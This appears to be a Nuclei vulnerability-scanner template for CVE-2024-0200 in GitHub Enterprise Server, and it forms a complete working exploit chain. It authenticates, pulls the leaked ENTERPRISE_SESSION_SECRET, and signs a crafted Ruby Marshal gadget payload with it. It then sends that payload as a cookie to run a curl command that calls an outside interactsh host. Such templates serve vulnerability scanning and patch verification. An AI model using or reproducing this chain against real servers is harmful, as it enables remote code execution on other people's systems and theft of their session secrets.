144 lines
4.7 KiB
YAML
144 lines
4.7 KiB
YAML
id: CVE-2024-0200
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info:
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name: Github Enterprise Authenticated Remote Code Execution
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author: iamnoooob,rootxharsh,pdresearch
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severity: critical
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description: |
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An unsafe reflection vulnerability was identified in GitHub Enterprise Server that could lead to reflection injection. This vulnerability could lead to the execution of user-controlled methods and remote code execution. To exploit this bug, an actor would need to be logged into an account on the GHES instance with the organization owner role. This vulnerability affected all versions of GitHub Enterprise Server prior to 3.12 and was fixed in versions 3.8.13, 3.9.8, 3.10.5, and 3.11.3.
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reference:
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- https://starlabs.sg/blog/2024/04-sending-myself-github-com-environment-variables-and-ghes-shell/
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- https://blog.convisoappsec.com/en/analysis-of-github-enterprise-vulnerabilities-cve-2024-0507-cve-2024-0200/
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- https://docs.github.com/en/enterprise-server@3.10/admin/release-notes#3.10.5
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- https://docs.github.com/en/enterprise-server@3.11/admin/release-notes#3.11.3
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- https://docs.github.com/en/enterprise-server@3.8/admin/release-notes#3.8.13
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 9.8
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cve-id: CVE-2024-0200
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cwe-id: CWE-470
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epss-score: 0.0037
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epss-percentile: 0.72517
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cpe: cpe:2.3:a:github:enterprise_server:*:*:*:*:*:*:*:*
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metadata:
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vendor: github
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product: enterprise_server
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shodan-query: title:"GitHub Enterprise"
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fofa-query: app="Github-Enterprise"
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verified: true
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tags: cve,cve2024,rce,github,enterprise
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variables:
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username: "{{username}}"
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password: "{{password}}"
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oast: "curl {{interactsh-url}}/?"
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padstr: "{{randstr}}"
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payload: '{{padding(oast,padstr,300)}}'
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marshal_data: '%04%08o:@ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy%09:%0e@instanceo:%1dAqueduct::Worker::Worker%07:%0b@childI"%026%0199999999; {{payload}}%06:%06ET:%0c@loggero:%0bLogger%00:%0c@method:%0fkill_child:%09@varI"%10@kill_child%06;%09T:%10@deprecatoro:%1fActiveSupport::Deprecation%06:%0e@silencedT'
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b64_marshal_data: "{{base64(url_decode(marshal_data))}}"
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digest: "{{ (hmac('sha1',b64_marshal_data,ghe_secret)) }}"
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final_payoad: "{{ b64_marshal_data + '--' + digest}}"
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http:
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- method: GET
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path:
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- "{{BaseURL}}/api/v3/user/orgs"
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headers:
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Authorization: "Basic {{base64('{{username}}' + ':' + '{{password}}')}}"
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extractors:
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- type: json
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part: body
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name: org_name
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internal: true
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json:
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- ".[].login"
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- method: GET
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path:
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- "{{BaseURL}}/api/v3/orgs/{{org_name}}/memberships/{{username}}"
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headers:
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Authorization: "Basic {{base64('{{username}}' + ':' + '{{password}}')}}"
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matchers-condition: and
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matchers:
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- type: word
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words:
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- '"role": "admin"'
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part: body
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- method: POST
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path:
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- "{{BaseURL}}/api/v3/orgs/{{org_name}}/repos"
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headers:
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Content-Type: application/json
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Authorization: "Basic {{base64('{{username}}' + ':' + '{{password}}')}}"
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body: |
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{
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"name": "{{randstr}}"
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}
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matchers:
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- type: status
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status:
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- 201
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- method: GET
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cookie-reuse: true
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path:
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- "{{BaseURL}}/login"
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extractors:
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- type: regex
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part: body
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internal: true
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group: 1
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regex:
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- 'name="authenticity_token" value="(.*?)"'
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name: csrf_token
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- method: POST
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path:
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- "{{BaseURL}}/session"
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headers:
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Content-Type: application/x-www-form-urlencoded
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body: |
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login={{username}}&password={{password}}&commit=Sign%20in&authenticity_token={{csrf_token}}&
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matchers:
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- type: status
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status:
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- 302
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- type: word
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words:
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- "_gh_render"
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part: header
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- method: GET
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path:
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- "{{BaseURL}}/organizations/{{org_name}}/settings/actions/repository_items?page=1&rid_key=nw_fsck"
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extractors:
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- type: regex
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group: 1
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name: ghe_secret
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internal: true
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regex:
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- '"ENTERPRISE_SESSION_SECRET"=>"([^"]+?)"'
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part: body
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matchers:
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- type: word
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words:
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- 'ENTERPRISE_SESSION_SECRET'
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part: body
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- method: GET
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path:
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- "{{BaseURL}}/"
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headers:
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Cookie: _gh_render={{final_payoad}}
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matchers-condition: and
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matchers:
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- type: status
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status:
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- 500
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- type: word
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part: interactsh_protocol
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words:
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- "dns"
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# digest: 4b0a004830460221008cb530b7dece20ef5b28664e52e4b5123c761007f8a3021c46963b66706b95f8022100ba710c3a1d763987eb9872637d45f542155a84506b437d9e360f973235902443:922c64590222798bb761d5b6d8e72950 |